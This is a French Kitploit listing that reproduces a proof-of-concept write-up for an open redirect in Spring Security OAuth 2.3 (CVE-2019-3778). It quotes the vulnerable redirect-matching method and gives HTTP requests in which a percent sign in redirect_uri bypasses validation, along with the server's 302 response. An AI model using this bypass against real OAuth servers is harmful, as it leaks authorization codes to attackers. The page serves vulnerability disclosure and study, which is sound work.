Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection — Spring Security OAuth 2.3 Open Redirection Analyse et reproduction | Kitploit
Outils/GitHubGitHub/bbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubbbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection Analyse et reproduction

Voir le dépôt
9il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-3778-Spring-Security-OAuth-2.3-Redirection-Ouverte

Spring Security OAuth 2.3 Redirection Ouverte - Analyse et Reproduction

Titre de l'exploit : Redirection ouverte dans spring-security-oauth2

Date : 17 juin 2019

Auteur de l'exploit : Riemann

Page d'accueil du fournisseur : https://spring.io/projects/spring-security-oauth

Lien du logiciel : https://spring.io

Version : Spring Security OAuth versions 2.3 antérieures à 2.3.6 - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

Testé sur : UBUNTU 16.04 LTS - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

CVE : CVE-2019-11269 | CVE-2019-3778

Description

Les versions de Spring Security OAuth 2.3 antérieures à 2.3.6, 2.2 antérieures à 2.2.5, 2.1 antérieures à 2.1.5 et 2.0 antérieures à 2.0.18, ainsi que les versions plus anciennes non supportées, peuvent être sensibles à une attaque de redirection ouverte qui peut divulguer un code d'autorisation. Un utilisateur malveillant ou un attaquant peut élaborer une requête vers le point de terminaison d'autorisation en utilisant le type d'octroi de code d'autorisation, et spécifier un URI de redirection manipulé via le paramètre redirect_uri. Cela peut amener le serveur d'autorisation à rediriger l'agent utilisateur du propriétaire de la ressource vers un URI sous le contrôle de l'attaquant, avec le code d'autorisation divulgué.

#VULNÉRABILITÉ : En manipulant le paramètre REDIRECT_URI, un attaquant peut en réalité contourner la validation.

Le code à l'origine de la vulnérabilité se trouve dans le package org.springframework.security.oauth2.provider.endpoint La classe : DefaultRedirectResolver, dont la méthode obtainMatchingRedirect n'effectue pas un assainissement correct

/**

  • Attempt to match one of the registered URIs to the that of the requested one.

  • @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty.

  • @param requestedRedirect the URI used as part of the request

  • @return the matching URI

  • @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");

    if (redirectUris.size() == 1 && requestedRedirect == null) { return redirectUris.iterator().next(); } for (String redirectUri : redirectUris) { if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) { return requestedRedirect; } } throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect + " does not match one of the registered values: " + redirectUris.toString()); }

#VECTEUR D'ATTAQUE POC La requête suivante effectuée par l'APPLICATION CLIENT après que l'utilisateur se soit connecté contient le paramètre REDIRECT_URI. La validation est contournée en ajoutant simplement un signe de pourcentage, ce qui déclenche une redirection au lieu de l'erreur RedirectMismatchException.

La REQUÊTE ORIGINALE contenant un URI valide : GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1

L'attaquant trompe ensuite l'application en modifiant entièrement l'URI vers un autre serveur en ajoutant un signe de pourcentage, par exemple :

GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1

La RÉPONSE ne produit effectivement pas une erreur OAUTH attendue mais redirige l'utilisateur :

HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close

Télécharger l’outil